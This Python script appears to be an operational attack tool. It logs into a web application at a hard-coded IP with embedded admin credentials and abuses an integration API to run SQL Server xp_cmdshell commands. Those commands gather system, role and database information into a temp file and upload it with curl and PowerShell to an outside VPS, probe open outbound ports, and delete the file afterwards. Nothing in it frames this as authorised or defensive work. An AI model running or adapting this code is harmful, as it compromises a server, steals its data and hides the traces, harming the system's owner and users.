#!/usr/bin/env python3
"""Test HTTP exfiltration from customer server to VPS 45.9.2.197:8080."""
import asyncio, re, subprocess, os
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"
VPS = "45.9.2.197"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_xp(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            print(f"    {name}: success={s}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Collect sysinfo
        print("\n=== Step 1: Collect sysinfo ===")
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        await run_xp("collect", sql_collect)
        await asyncio.sleep(2)

        # Test 1: curl GET to VPS (simple connectivity)
        print(f"\n=== Test 1: curl GET to VPS:8080 ===")
        await run_xp("curl_get", f"EXEC xp_cmdshell 'curl -sS -m 10 http://{VPS}:8080/test_get_from_customer'")
        await asyncio.sleep(3)

        # Test 2: curl upload file to VPS
        print(f"\n=== Test 2: curl upload to VPS:8080 ===")
        await run_xp("curl_upload", f"EXEC xp_cmdshell 'curl -sS -m 30 -T " + temp_file + " http://{VPS}:8080/sysinfo_customer.txt'")
        await asyncio.sleep(3)

        # Test 3: PowerShell upload
        print(f"\n=== Test 3: PowerShell upload ===")
        ps_cmd = f"powershell -NoProfile -Command \"Invoke-WebRequest -Uri http://{VPS}:8080/sysinfo_ps.txt -Method POST -InFile {temp_file} -UseBasicParsing\""
        await run_xp("ps_upload", f"EXEC xp_cmdshell '{ps_cmd}'")
        await asyncio.sleep(3)

        # Test 4: curl HTTPS (test if 443 works)
        print(f"\n=== Test 4: curl to VPS:443 ===")
        await run_xp("curl_443", f"EXEC xp_cmdshell 'curl -sS -k -m 10 https://{VPS}:443/test_https'")
        await asyncio.sleep(3)

        # Test 5: Test-NetConnection
        print(f"\n=== Test 5: Test-NetConnection 8080 ===")
        await run_xp("tnc_8080", f"EXEC xp_cmdshell 'powershell -NoProfile -Command \"Test-NetConnection -ComputerName {VPS} -Port 8080\"'")
        await asyncio.sleep(3)

        # Test 6: Test-NetConnection port 80
        print(f"\n=== Test 6: Test-NetConnection 80 ===")
        await run_xp("tnc_80", f"EXEC xp_cmdshell 'powershell -NoProfile -Command \"Test-NetConnection -ComputerName {VPS} -Port 80\"'")
        await asyncio.sleep(3)

        # Test 7: Test-NetConnection port 53
        print(f"\n=== Test 7: Test-NetConnection 53 ===")
        await run_xp("tnc_53", f"EXEC xp_cmdshell 'powershell -NoProfile -Command \"Test-NetConnection -ComputerName {VPS} -Port 53\"'")
        await asyncio.sleep(3)

        # Cleanup
        print(f"\n=== Cleanup ===")
        await run_xp("cleanup", f"EXEC xp_cmdshell 'del {temp_file}', no_output")

        await browser.close()

asyncio.run(main())
